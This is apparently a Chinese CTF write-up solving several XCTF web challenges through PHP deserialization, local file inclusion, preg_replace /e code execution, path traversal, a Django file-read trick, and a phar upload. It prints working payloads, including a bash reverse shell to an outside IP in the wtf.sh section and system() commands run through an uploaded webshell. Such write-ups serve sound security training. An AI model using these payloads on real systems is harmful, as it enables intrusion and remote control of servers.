XCTF 攻防世界 题解

XCTF联赛的题目复现。

Web

NaNNaNNaNNaN-Batman

把文件中的eval改成alert,后缀改成.html后浏览器打开,得到完整的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function $() {
var e = document.getElementById("c").value;
if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) {
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
}

document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

很简单的绕过,长度要求16位,be0f23开头,e98aa结尾,合并相同部分,输入be0f233ac7be98aa,得到flag{it's_a_h0le_in_0ne}

unserialize3

1
2
3
4
5
6
class xctf{ 
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

CVE-2016-7124,当序列化字符串中的表示对象数量的值大于实际个数时会跳过**__wakeup()函数的执行,因此构造payloadO:4:"xctf":1:{s:4:"flag";s:3:"111";},得到cyberpeace{19d4c21c56f7a95ad5612bfbc13411df}**。

Cat

fuzz后发现宽字节出现报错,提示了一个UnicodeEncodeError at /api/ping,细看报错信息是Django的框架,还有一些源码泄漏,那么可以对此错误信息进行分析,大致可以推测出来是通过php获取数据来发给Djangoapi

先是合并了requests.FILESrequests.POST数据。

1
2
3
4
5
6
7
# 合并 requests.FILES 和 requests.POST
for k, v in request.FILES.items():
if isinstance(v, InMemoryUploadedFile):
v = v.read()
request.FILES[k] = v
request.POST.update(request.FILES)
return f(*args, **kwargs)

然后是核心的ping()函数。

1
2
3
4
5
6
7
8
@process_request
def ping(request):
# 转义
data = request.POST.get('url')
data = escape(data)
if not re.match('^[a-zA-Z0-9\-\./]+$', data):
return HttpResponse("Invalid URL")
return HttpResponse(os.popen("ping -c 1 \"%s\"" % data).read())

以及escape()函数,对敏感字符进行了转义,最后进行gbk编码。

1
2
3
4
5
6
7
8
r = ''
for i in range(len(data)):
c = data[i]
if c in ('\\', '\'', '"', '$', '`'):
r = r + '\\' + c
else:
r = r + c
return r.encode('gbk')

因为%A0之类的宽字节并不在GBK编码表中,故转码时出错,且Django未关闭debug,故抛出了错误信息。

那么在php中构造post请求发送给其他服务就会用到CURLOPT_POSTFILEDS这个函数,且当CURLOPT_SAFE_UPLOADFalse的时候,可以通过@/绝对路径的方式来访问文件。

还有就是在开头的这段代码中将vInMemoryUploadedFile比较,一样的话就读取它,而Djangodebug模式开启后,所有的数据库查询将会以django.db.connection.queries的形式被保存在内存中 , 这会消耗大量的内存。

而在报错页面中也给出了数据库的绝对路径/opt/api/database.sqlite3,那么只要访问数据库的绝对路径就可以读取到全部的数据了。

构造payload/?url=@/opt/api/database.sqlite3,得到flagAWHCTF{yoooo_Such_A_G00D_@}

ics-05

点开设备维护中心跳转到了index.php,右键源代码看见?page=index,根据提示推测是任意文件读取。

构造?page=php://filter/convert.base64-encode/resource=index.php得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
echo $page;
die();
} else {
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
}
}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
} else {
die();
}
}
?>

此处的切入点在preg_replace()/e模式会造成命令执行。

1
pat=/south/e&rep=system(%27ls%27)&sub=south

然后得到cyberpeace{a4d5263a734d6818bbcdee5be09eb1c4}

ics-06

id爆破到2333得到cyberpeace{5200767bf6b1f80ef28c49c10a21774b}

Triangle

wtf.sh-150

/post.wtf?post=../存在路径穿越,可以读取到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ source user_functions.sh
<html>
<head>
<link rel="stylesheet" type="text/css" href="/css/std.css" >
</head>
$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
$ then
$ local username=$(head -n 1 users/${URL_PARAMS['user']});
$ echo "<h3>${username}'s posts:</h3>";
$ echo "<ol>";
$ get_users_posts "${username}" | while read -r post; do
$ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
$ echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>";
$ done
$ echo "</ol>";
$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
$ then
$ get_flag1
$ fi
$ fi
</html>

可以看到这边的逻辑是登陆为admin就可以拿到flag,同时利用路径穿越查看其他泄漏出的路径。然后在/post.wtf?post=../users/中发现admin用户的token,就可以伪造登陆来获得flag

但是只拿到了一半,Flag: xctf{cb49256d1ab48803,后半部分笔记取自瑞雪丰年师傅博客

1
2
3
4
5
>l\\
>s\\
>-t\\
>\>z
>\ \\
1
2
3
4
5
6
>ls\\ 
ls>_
>\ \\
>-t\\
>\>g
LC_COLLATE=C ls>>_
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
>95
>5.\\
>21\\
>7.\\
>7\\
>0.\\
>12\\
>\ \\
>et\\
>wg\\








>\ \\
>-i\\
>\ \\
>sh\\
>ba\\

bash -i >& /dev/tcp/120.77.215.95/7777 0>&1^C
1
xctf{cb49256d1ab48803149e5ec49d3c29ca}

Guess

先是一个文件包含,http://111.198.29.45:55174/?page=php://filter/convert.base64-encode/resource=index。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);

session_start();
if(isset($_GET['page'])){
$page=$_GET['page'];
}else{
$page=null;
}

if(preg_match('/\.\./',$page))
{
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
die();
}

?>

<?php

if($page)
{
if(!(include($page.'.php')))
{
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>error!</div>";
exit;
}
}
?>

然后看看上传页面,http://111.198.29.45:55174/?page=php://filter/convert.base64-encode/resource=upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
error_reporting(0);
function show_error_message($message)
{
die("<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}

function show_message($message)
{
echo("<div class=\"msg success\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}

function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';

for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}

return $str;
}

session_start();

$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {

$seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);

if ($_FILES["file"]["error"] > 0) {
show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
}
$check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/png"))
&& ($_FILES["file-upload-field"]["size"] < 204800));
$check3=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));


if ($check3) show_error_message("Nope!");
if ($check2) {
$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
} else show_error_message("Something wrong with the upload...");
} else {
show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
}
}
?>

大概的思路就是使PHPSESSID为空,然后得到$ssMD5值即可求出原值,随后通过PHP_MT_SEED爆破种子求得上传的文件路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';

for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}

return $str;
}

mt_srand(34439431);
$ss = mt_rand();

$filename = './uP1O4Ds/' . random_str() . '_' . "south.php.png/south";
echo $filename;
?>

得到Payloadhttp://111.198.29.45:55174/?page=phar://uP1O4Ds/cu7eBI3ZvjTvjlezNnYH2p4B3FAZV67Q_south.php.png/south,同时Post如下参数。

1
south=system("find / -name '*flag*' ");

有两个地方放了Flag,网站根目录下的是假的。